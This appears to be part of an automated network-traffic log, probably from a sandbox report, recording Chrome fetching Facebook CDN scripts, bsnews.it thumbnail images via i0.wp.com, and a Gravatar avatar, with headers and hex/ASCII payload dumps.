2024-03-28 08:51:03 UTC	16384	IN	Data Raw: 3a 62 7d 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 61 28 7b 73 74 61 74 75 73 3a 22 72 65 6a 65 63 74 65 64 22 2c 72 65 61 73 6f 6e 3a 62 7d 29 7d 29 7d 29 3a 67 2e 72 65 73 6f 6c 76 65 28 7b 73 74 61 74 75 73 3a 22 66 75 6c 66 69 6c 6c 65 64 22 2c 76 61 6c 75 65 3a 65 7d 29 7d 3b 66 6f 72 28 76 61 72 20 64 3d 30 2c 65 3d 62 2e 6c 65 6e 67 74 68 3b 64 3c 65 3b 2b 2b 64 29 61 28 64 2c 65 29 3b 72 65 74 75 72 6e 20 67 2e 61 6c 6c 28 63 29 7d 29 3b 67 2e 70 72 6f 74 6f 74 79 70 65 5b 22 66 69 6e 61 6c 6c 79 22 5d 7c 7c 28 67 2e 70 72 6f 74 6f 74 79 70 65 5b 22 66 69 6e 61 6c 6c 79 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 67 2e 72 65 73 6f 6c 76 Data Ascii: :b})},function(b){a({status:"rejected",reason:b})})}):g.resolve({status:"fulfilled",value:e})};for(var d=0,e=b.length;d<e;++d)a(d,e);return g.all(c)});g.prototype["finally"]\|\|(g.prototype["finally"]=function(a){return this.then(function(b){return g.resolv
2024-03-28 08:51:04 UTC	16384	IN	Data Raw: 65 76 65 6e 74 2e 73 72 63 45 6c 65 6d 65 6e 74 21 3d 3d 22 75 6e 6b 6e 6f 77 6e 22 7c 7c 68 28 30 2c 35 37 39 38 29 2c 74 68 69 73 2e 74 61 72 67 65 74 3d 74 68 69 73 2e 65 76 65 6e 74 2e 74 61 72 67 65 74 7c 7c 74 68 69 73 2e 65 76 65 6e 74 2e 73 72 63 45 6c 65 6d 65 6e 74 7d 76 61 72 20 62 3d 61 2e 70 72 6f 74 6f 74 79 70 65 3b 62 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 2e 65 76 65 6e 74 3b 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 3f 28 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 22 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 22 69 6e 20 61 7c 7c 28 61 2e 64 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 3d 21 30 29 29 3a 61 2e 72 65 74 75 72 6e 56 61 6c 75 65 Data Ascii: event.srcElement!=="unknown"\|\|h(0,5798),this.target=this.event.target\|\|this.event.srcElement}var b=a.prototype;b.preventDefault=function(){var a=this.event;a.preventDefault?(a.preventDefault(),"defaultPrevented"in a\|\|(a.defaultPrevented=!0)):a.returnValue
2024-03-28 08:51:04 UTC	14884	IN	Data Raw: 72 65 74 75 72 6e 20 68 28 63 28 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 29 2e 64 65 76 69 63 65 4e 61 6d 65 2c 6e 75 6c 6c 2c 61 29 7d 29 2c 69 73 45 6e 67 69 6e 65 3a 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 68 28 63 28 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 29 2e 65 6e 67 69 6e 65 4e 61 6d 65 2c 63 28 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 29 2e 65 6e 67 69 6e 65 56 65 72 73 69 6f 6e 2c 61 29 7d 29 2c 69 73 50 6c 61 74 66 6f 72 6d 3a 61 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 68 28 63 28 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 29 2e 70 6c 61 74 66 6f 72 6d 4e 61 6d 65 2c 63 28 22 55 73 65 72 41 67 65 6e 74 44 61 74 61 22 29 2e 70 6c 61 74 66 6f 72 6d 46 75 6c 6c 56 65 72 73 69 6f 6e 2c 61 Data Ascii: return h(c("UserAgentData").deviceName,null,a)}),isEngine:a(function(a){return h(c("UserAgentData").engineName,c("UserAgentData").engineVersion,a)}),isPlatform:a(function(a){return h(c("UserAgentData").platformName,c("UserAgentData").platformFullVersion,a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49803	31.13.66.19	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	611	OUT	GET /rsrc.php/v3/yD/r/FEppCFCt76d.png HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	1568	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: OIlAxCmR79nrM/Ez4ygGlg== Expires: Thu, 20 Mar 2025 10:47:04 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), ambient-light-sensor=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: rcwAzJHPFU2GBZbRXayuH051JMHqsFd7is/WErC/KMY8AQhyZmSUVtqtKaT3C1XNLdEi2eZ/kVlsSXDgD3nVAg== Date: Thu, 28 Mar 2024 08:51:03 GMT X-FB-Connection-Quality: GOOD; q=0.7, rtt=94, rtx=0, c=14, mss=1274, tbw=3413, tp=-1, tpl=-1, uplat=0, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 299
2024-03-28 08:51:03 UTC	1	IN	Data Raw: 89 Data Ascii:
2024-03-28 08:51:03 UTC	298	IN	Data Raw: 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 10 00 00 00 10 08 03 00 00 00 28 2d 0f 53 00 00 00 60 50 4c 54 45 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 7c 25 1c ba 00 00 00 1f 74 52 4e 53 00 f0 fc 01 fe 21 c5 5c 34 f5 e1 fa e6 76 ab 1b 32 a8 f8 e8 29 14 d9 ee a0 fb 7e de fd eb 1e 43 49 7d 1d 00 00 00 5b 49 44 41 54 78 da 95 cd 47 0a c0 30 0c 44 51 b9 a5 f7 de e7 fe b7 0c 8e b1 b1 03 59 64 76 ff 21 10 7d 2f 6a c3 16 39 c6 00 62 40 f9 9d a4 c8 84 d7 75 01 94 e4 ad c2 b3 b9 d1 c1 c0 a8 33 d0 0f 1a 00 90 34 Data Ascii: PNGIHDR(-S`PLTE\|%tRNS!\4v2)~CI}[IDATxG0DQYdv!}/j9b@u34

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49805	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	639	OUT	GET /bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg?resize=218%2C150&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	571	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: image/webp Content-Length: 5028 Connection: close Last-Modified: Wed, 27 Mar 2024 15:23:21 GMT Expires: Sat, 28 Mar 2026 03:23:21 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/maxresdefault.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "dd1fdfbd7030e3c2" Vary: Accept X-nc: HIT dca 2 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:03 UTC	798	IN	Data Raw: 52 49 46 46 9c 13 00 00 57 45 42 50 56 50 38 20 90 13 00 00 50 56 00 9d 01 2a da 00 96 00 3e 6d 30 94 48 24 22 a2 21 25 f0 ac b0 80 0d 89 65 00 c5 0c 93 eb 8c d9 69 89 9e cf 52 1f f0 f7 95 73 a7 6e a1 6f 60 55 e8 36 a7 64 06 57 58 fe 77 bb 7d 99 c3 f2 3c f5 e3 a7 c4 a0 f1 7e 04 ff 73 2b 3c e2 cc 6b 3e b0 c8 20 73 66 47 5d 18 f4 8e e9 8a c3 c8 49 67 a5 52 a5 88 ad 5f a6 4e a9 30 5c c6 c3 84 f3 93 7a 94 eb 14 9b 02 00 3e 71 f6 45 b9 21 98 0e 64 40 bc e1 a2 2c c5 b2 b8 4b a0 d4 14 fe dd ad 74 ed de 01 63 5e 4b 2b a0 40 07 03 3a 68 a7 02 18 d6 c1 e9 02 91 2a 9e 24 bc d1 0a 35 f0 d9 9d b3 f1 95 3f 1e a8 02 88 c0 5e f8 b2 f6 0e fe be 9f 5c 7e 2f ac 91 16 42 55 19 0e d1 a5 e6 c4 97 0b 26 58 2e e7 b9 b8 93 d0 b2 31 5a 8d 1e 21 5d 5c 02 4f 9e 4e 2a d5 21 00 99 de Data Ascii: RIFFWEBPVP8 PV>m0H$"!%eiRsno`U6dWXw}<~s+<k> sfG]IgR_N0\z>qE!d@,Ktc^K+@:h$5?^\~/BU&X.1Z!]\ON*!
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: f0 bc 6a 6c b4 1a ba e8 92 70 af 57 d3 83 13 0f 1c f0 f5 b4 11 e5 f9 d9 67 03 d6 91 e2 58 de 03 02 e0 43 5b 1c fb 11 07 0f ec a5 26 18 c0 e1 42 d5 78 12 9e 22 0d b0 8b 87 b5 1f 14 72 8c da a7 13 e7 fb 65 a3 57 91 47 29 88 79 2d 6c b9 5b 1a 7e 04 e6 b1 15 a6 74 6f 14 c5 14 93 86 ef eb e9 d6 32 95 0b 02 57 af f6 38 58 4e 34 d1 ad 20 19 da 60 08 c5 72 ec 34 c2 39 e2 ab 12 46 5b d3 e9 96 49 54 ad a1 61 de 14 e3 4f 2b f1 33 f1 ef cb 20 7f 11 19 aa fd e1 a6 62 46 52 12 28 85 c0 61 81 5a e1 3b ba 8f d9 d1 d5 2f c4 f2 88 34 d4 2e e4 00 c9 ae 10 b3 1c e9 7f 45 38 1a 6c 55 ea 36 46 ae 26 9a a6 83 fa 4c 3e c1 ea fe b2 27 a1 8c 08 91 1e 50 1b 07 26 ce 0f d9 38 82 85 bd e1 1d aa 6a 0b c5 99 83 a2 17 f8 ad cc 4a 1f 60 b3 bd 7b 6a 27 5e ae 94 dc 5c e6 93 29 66 d5 11 6c Data Ascii: jlpWgXC[&Bx"reWG)y-l[~to2W8XN4 `r49F[ITaO+3 bFR(aZ;/4.E8lU6F&L>'P&8jJ`{j'^\)fl
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 00 cc 90 54 b0 8a 30 ae c2 0a c5 03 3b f2 44 60 d1 7a a3 71 0c 59 08 c1 77 ff 6c bf bb 9f 32 4b 2b a9 69 b3 ad fa 57 6e b5 56 79 53 ee 5b d1 a7 79 f2 15 79 f4 ee 29 4b 16 1d 54 6f 28 ac ce 3b ad f6 6c be 12 85 e5 ba 56 c4 5c 08 a8 ce df 4d 04 87 06 0e f4 c4 68 20 1f b7 87 f7 3f 44 23 2e 67 78 d0 87 87 37 84 21 dd 50 dc f1 05 87 81 00 b7 03 27 3d 47 1a 4b 92 de 5b a0 dd d0 27 d5 98 e2 5f 3a 6f f1 98 13 ab 4a 94 56 b5 42 f1 2e c8 2e e9 83 bb 1a 42 1e bd c8 ca 1a e7 8a 39 cb ee 90 7e c2 64 d8 07 a6 5e 65 9a 3c ca e4 64 24 8d eb 0b 29 51 b8 17 55 7e 1c c1 a1 83 e5 1e d9 b8 91 2d bc 46 35 7a be d6 17 15 cb 4c 3d ff 9b 63 ea 5d 53 c6 9c 11 72 af bf 10 85 1a 27 68 7d b5 9a c7 3b 72 dd 7b 8f 76 41 76 90 c8 45 98 e2 74 f4 4c 29 f1 83 32 5c 90 44 8b 76 38 7e 94 ac Data Ascii: T0;D`zqYwl2K+iWnVyS[yy)KTo(;lV\Mh ?D#.gx7!P'=GK['_:oJVB..B9~d^e<d$)QU~-F5zL=c]Sr'h};r{vAvEtL)2\Dv8~
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: e6 28 db be 13 05 bf 03 0a 28 89 45 29 21 75 53 cf 0d e1 e5 dd e4 0e c6 a8 0c 75 25 05 e3 af 6d 91 73 71 da 61 24 59 4e 07 78 f9 d4 99 ca b1 6e f1 84 5d 0f 4c ff 3b f5 fe 87 1d 7e b6 20 f7 86 6b d3 dc 30 b7 72 e9 5e 0a d2 0e 4e 87 18 e2 e2 eb 48 42 14 b0 f7 14 92 f9 e3 70 7a af 9b 2a d7 ee 84 49 25 d7 e9 d6 2f 5d aa 31 b0 e8 00 87 2c ef e2 27 a9 9f 6b 1d f2 38 42 be 47 de b1 fe 58 51 15 bb 83 f4 36 07 95 61 c6 e2 bf 44 7c d1 fc f8 bc 11 94 02 ce f3 a4 2e f8 5a f2 33 5a e9 62 1e 55 45 57 af 23 32 a4 82 5a 6c 2a 40 32 9e b5 ee f3 bb d7 ff 25 17 70 e1 c3 b3 9c 5f 8d 60 5d 58 58 0b c7 cf cc e4 e2 a5 75 bf 03 46 41 90 c2 55 80 1d bb 78 f4 a0 92 1f eb 99 69 6e dd cb d4 a7 f8 38 f6 0a a3 9f 0f 39 46 cd 94 a0 12 c3 f2 b6 4b 4d 50 9b d6 f1 09 2c 59 77 60 78 29 1a Data Ascii: ((E)!uSu%msqa$YNxn]L;~ k0r^NHBpzI%/]1,'k8BGXQ6aD\|.Z3ZbUEW#2Zl@2%p_`]XXuFAUxin89FKMP,Yw`x)
2024-03-28 08:51:03 UTC	123	IN	Data Raw: c1 6d 75 19 09 94 86 38 76 63 a1 8e 91 ce c4 73 4f 16 01 5c 0b ff 91 6d f0 aa a8 18 e7 73 1d 58 bd b5 f4 49 35 7d 91 6e 33 a9 9e 18 91 8f 4d 4a 43 f5 c6 8c 01 23 1b b4 ad 92 6e 68 5f 22 d8 90 00 ad 9b f4 e5 aa aa 1a e7 95 12 70 a1 8f d4 9e 15 1b f6 32 2a 60 07 a6 2e ea c0 95 7b 71 c7 bf a0 cb 04 4b 0a 7e e4 32 33 22 03 b7 b2 44 dd cb 2b 1e 5f 16 42 bb 3b 3e 20 00 00 Data Ascii: mu8vcsO\msXI5}n3MJC#nh_"p2*`.{qK~23"D+_B;>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49804	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	635	OUT	GET /bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg?resize=218%2C150&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	567	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: image/webp Content-Length: 7684 Connection: close Last-Modified: Wed, 20 Mar 2024 14:49:33 GMT Expires: Sat, 21 Mar 2026 02:49:33 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2022/01/bsnews8-3.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "4627ec8823e30a35" Vary: Accept X-nc: HIT dca 4 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:03 UTC	802	IN	Data Raw: 52 49 46 46 fc 1d 00 00 57 45 42 50 56 50 38 20 f0 1d 00 00 90 72 00 9d 01 2a da 00 96 00 3e 6d 2e 92 46 a4 22 a1 a1 2c 34 dd 38 80 0d 89 62 00 c0 98 13 95 d7 df f9 d7 5d bf d7 fe 39 e6 63 37 fd e2 7f 2f ee 83 b6 d7 ea 2f 61 6f d5 cf 3c 9f 61 be 60 ff 62 ff e8 7f ae f7 4d ff 99 eb af fb 5f f9 2f 60 df eb 5f ec 7a e0 bd 0a 3c b8 3f 75 7e 1c bf 72 ff 72 7d a1 bf f9 e1 54 71 f3 f7 1e 19 f9 52 f7 5f b9 1f df fd ba 33 47 d7 ee a4 7d bf fe f3 cf 5f fa 3e 1b fc 55 ff 3b d4 2f f2 df e9 9f e8 3d 37 be df bc 07 79 ff 5b ff 4f d4 3b da 7f b1 7f bb ff 17 ea ff f5 7e 72 fd a1 ff a3 ee 05 fa c7 ff 57 cb 4f c6 1e 80 7f ce 7f c2 7f e1 ff 37 ec d3 ff 8f fb 0f 4d 3f 58 ff f0 f7 14 fe 75 fd f7 fe e7 64 84 2e cc d6 5a 0e f3 a8 67 e4 e6 fb db 10 9a 61 b2 2f d7 95 ab 81 88 b7 Data Ascii: RIFFWEBPVP8 r*>m.F",48b]9c7//ao<a`bM_/`_z<?u~rr}TqR_3G}_>U;/=7y[O;~rWO7M?Xud.Zga/
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 35 c5 59 a0 12 3e d0 07 b3 77 56 8a 12 12 07 8b d9 5a 4b fd cc 64 b3 af a4 92 bd 26 55 f4 a0 42 cf f9 02 28 79 c8 4f b5 d1 53 d5 90 ef 64 2e 06 6e 57 04 75 9a ad 0f 75 be 00 e0 4a a0 f7 85 c2 0f 18 34 af 80 ad a2 88 8c b1 4d 5c 34 0e 73 e5 d0 5e c4 08 ec 78 0a 55 d2 e3 92 34 7b 75 55 05 d6 67 b5 b3 57 c1 a6 9e 6b b7 cc fe 6e 2b f3 50 48 b3 79 7d 4f e2 1d 76 fb cf 9c be aa 8e 41 2d 19 6c 0c 89 e9 f4 93 75 3b c7 0e 89 48 c3 80 00 fe fd d9 48 6b f6 43 95 2c 33 3e 1d 50 fa f7 6c 6b 45 8d 46 6f 30 78 fa 69 3d 39 03 e9 91 c4 7d 92 8c 4f 80 fd 1b 97 8f 02 79 3b f1 f4 ec 35 9a 46 d5 e7 91 f7 4e 47 26 18 e6 b6 58 ba 56 c6 f5 4d f1 6b b4 3e 04 67 e3 a6 db 37 de 3e 36 9b bd cd ee bd f5 92 d4 b0 f9 af f8 21 a5 4f 4c 7c 0b 63 86 61 e6 29 2f 6e 3f 68 c7 5f 99 7c 84 0d Data Ascii: 5Y>wVZKd&UB(yOSd.nWuuJ4M\4s^xU4{uUgWkn+PHy}OvA-lu;HHkC,3>PlkEFo0xi=9}Oy;5FNG&XVMk>g7>6!OL\|ca)/n?h_\|
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: d7 ee 3e be e8 d2 d2 cf a1 3b 42 b4 d1 c7 5c c5 9f c8 cb 19 b8 ae 51 4d aa 53 33 18 f2 b3 18 da 31 a4 7d 61 3a fc 28 b3 6c 65 28 94 59 b0 27 eb c6 1b f7 db 00 56 66 82 6a 82 85 65 47 ea 9c c5 c5 dd 31 dc 30 e1 06 bc 74 e2 ae 99 91 ef 96 15 0f 81 b2 c2 94 64 fe 87 b6 d4 2e 01 15 85 c5 e6 45 e2 29 9d 20 28 eb 67 35 9b 1e 17 3d 30 86 4f 1a 2a 96 0b 6b 76 b0 8e 9a 0a 00 0b 1c 90 ef 18 75 a5 55 53 2f 2f 11 cf 24 aa 9c 0f e4 d5 58 b0 11 68 8d 6b 79 a8 b8 ae a7 50 e8 ef b5 37 d0 23 18 87 52 21 70 cb 1a 56 29 b7 f9 2f ee 7b 0a 61 75 38 6c f2 3c ef 2d e4 7d c0 64 d7 ea 09 13 ad 3d 61 9a 62 b6 eb 33 76 e6 6e 48 ab 47 7f 61 b8 d0 d5 8f 30 95 1a b9 0e 5a d9 58 8e ff 11 b0 31 ed 70 7f 31 d3 88 74 fd 8f 1b c5 b3 04 cc 2a 3b 72 69 18 86 ec 6c 91 33 5e 7f 51 c5 c7 9f fd Data Ascii: >;B\QMS31}a:(le(Y'VfjeG10td.E) (g5=0OkvuUS//$XhkyP7#R!pV)/{au8l<-}d=ab3vnHGa0ZX1p1t;ril3^Q
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: ba bf 81 e4 a8 1f 2b de dc 97 19 4e 3a 5c df 39 7d 19 64 d5 69 6b 08 b4 d9 71 a4 5d bf a4 2a 0c 0e cf d5 20 1b f6 de e6 2e f8 d1 88 33 3f cf c3 26 1b b2 04 e1 ec 32 9c 04 f5 27 73 ab fa ff ad 85 6d 51 84 9c 09 68 24 db 22 24 78 bd 3c 4b 33 a3 f3 d3 4a 87 ad 13 16 9d 47 bc 82 b4 3c 44 c0 7b 73 28 a5 57 98 1f f8 4b 7c 04 c4 40 c2 e1 07 9a ce c1 de e1 ae 4c 27 bd 80 09 b1 f8 b7 52 86 8e b3 04 53 5d 70 60 3e ef bb 06 6c cc c8 45 1e 66 0a d2 06 fb 6f fc 4d 1e 9e ea 8f 1b 4c cf d8 7c fd b4 43 27 33 f0 aa 91 7b 88 d2 7d bb c2 b5 ba 50 4f 26 bf ba a1 dc 49 79 3c 55 f3 88 cc 5a 8a 20 d7 ea 08 bf 1f 0f 0c f7 2e e5 a1 9f 7e 62 50 77 1c 38 23 a6 b6 38 1b da 09 b4 51 71 06 5a 89 9d 22 72 8d d6 c6 38 f9 51 95 f1 fe 0e c0 4f 2e ac a8 84 4c 3e 59 ed 27 57 3d b1 f4 72 ff Data Ascii: +N:\9}dikq]* .3?&2'smQh$"$x<K3JG<D{s(WK\|@L'RS]p`>lEfoML\|C'3{}PO&Iy<UZ .~bPw8#8QqZ"r8QO.L>Y'W=r
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 7d 92 29 22 e4 36 a4 de 05 41 c0 34 9e 99 41 4b a3 27 6c e0 cc 52 7a 14 5d 1e 43 f0 a9 73 a2 00 96 f3 4c c3 23 17 a6 4e 42 51 93 d0 e8 e4 ce 55 06 be 96 b0 db 4c bb 4b f5 7a fb 3f 1a f4 b1 66 2b ea ba fe 07 44 2f 51 07 f9 9e 50 eb 5d 74 d5 b1 7b 59 12 90 8f 6a 70 58 72 37 04 b1 60 18 17 a9 93 aa 0f ac d6 4b 89 52 c5 79 2b 95 75 75 1f 5b b8 6d 55 75 bb 02 0a 44 17 af 3f 8c 42 d8 da 3e d9 e2 17 17 bb ae 46 32 de d9 ef 92 8c 68 08 cf fe e2 0e 95 9d 1f 5d 2e c3 e9 1f fe 95 17 21 2b c2 10 93 21 89 f4 22 44 5b e5 49 8c c7 9c 79 4b 90 b7 a8 03 82 e2 db 28 16 de f2 fc ce cb ac aa 79 ae 38 fb 80 67 b4 d6 6e 2a 5a f3 2a ea bf e3 31 d8 92 0f 5a 8e 6c 21 76 fe b1 00 98 9a 67 6e 03 be 7a 3d 65 6c d3 05 f7 60 63 f7 c5 4e 77 de 22 d0 27 ef 96 f0 56 4c be d5 c8 82 95 b1 Data Ascii: })"6A4AK'lRz]CsL#NBQULKz?f+D/QP]t{YjpXr7`KRy+uu[mUuD?B>F2h].!+!"D[IyK(y8gnZ1Zl!vgnz=el`cNw"'VL
2024-03-28 08:51:03 UTC	1369	IN	Data Raw: 4c 28 35 e7 85 2e be d2 d4 b0 14 01 7b 8b 68 d5 9b ca 74 4b 5d e0 7b 13 94 c8 f5 33 2b e6 c9 0b a4 82 54 74 7f d2 16 82 bd b2 ca 93 24 cb 79 18 e7 da c6 0e f9 48 3f cd 15 b3 12 36 c4 ed 78 21 72 1d 3e 4c 8a a1 ac 88 3c bb 9d f8 29 bf 44 f8 1b eb a1 38 d2 11 12 13 5d 7a f8 d1 a3 48 ee b4 62 95 5e bb 2e 00 89 51 b6 87 91 c6 c3 59 66 51 5d 70 ec ec 32 93 cb 63 94 dc dd 22 f6 d0 ce ec ed 9b 3c 25 09 a4 36 3e 7a f5 61 7b e8 c7 48 bf 3b 40 9e d3 80 94 2b 07 51 76 90 1a 73 02 b3 ab a2 48 a6 ee e3 0f dc 6e 7a f8 69 ac a3 c7 24 46 bf 94 41 a2 6d fa a7 f9 16 08 78 e2 bc 5e 85 ce ab 6a 11 72 80 d8 28 9f b6 11 51 04 2b 98 c6 72 6b 61 ce ae 4d 99 4e 11 be 15 e7 ab fc 24 a8 a3 07 07 82 5c 74 51 10 fc 41 56 d1 36 a9 f2 6c 27 32 35 94 8e a0 d6 18 fc df 96 bc 5a 5f 68 a6 Data Ascii: L(5.{htK]{3+Tt$yH?6x!r>L<)D8]zHb^.QYfQ]p2c"<%6>za{H;@+QvsHnzi$FAmx^jr(Q+rkaMN$\tQAV6l'25Z_h
2024-03-28 08:51:03 UTC	37	IN	Data Raw: 00 33 43 7d 46 6c 46 38 2f 51 b7 cf c8 23 5b e1 72 69 9d d3 18 54 ef cc 7c ca 9c 73 95 3c 20 49 73 63 08 c0 00 Data Ascii: 3C}FlF8/Q#[riT\|s< Isc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49806	192.0.73.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:03 UTC	593	OUT	GET /avatar/?s=50&d=mm&r=g HTTP/1.1 Host: secure.gravatar.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:03 UTC	472	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:03 GMT Content-Type: image/jpeg Content-Length: 1128 Connection: close Last-Modified: Wed, 11 Jan 1984 08:00:00 GMT Link: <https://gravatar.com/avatar/?s=50&d=mm&r=g>; rel="canonical" Access-Control-Allow-Origin: * Content-Disposition: inline; filename="none.png" Expires: Thu, 28 Mar 2024 08:56:03 GMT Cache-Control: max-age=300 X-nc: HIT dca 3 Alt-Svc: h3=":443"; ma=86400 Accept-Ranges: bytes
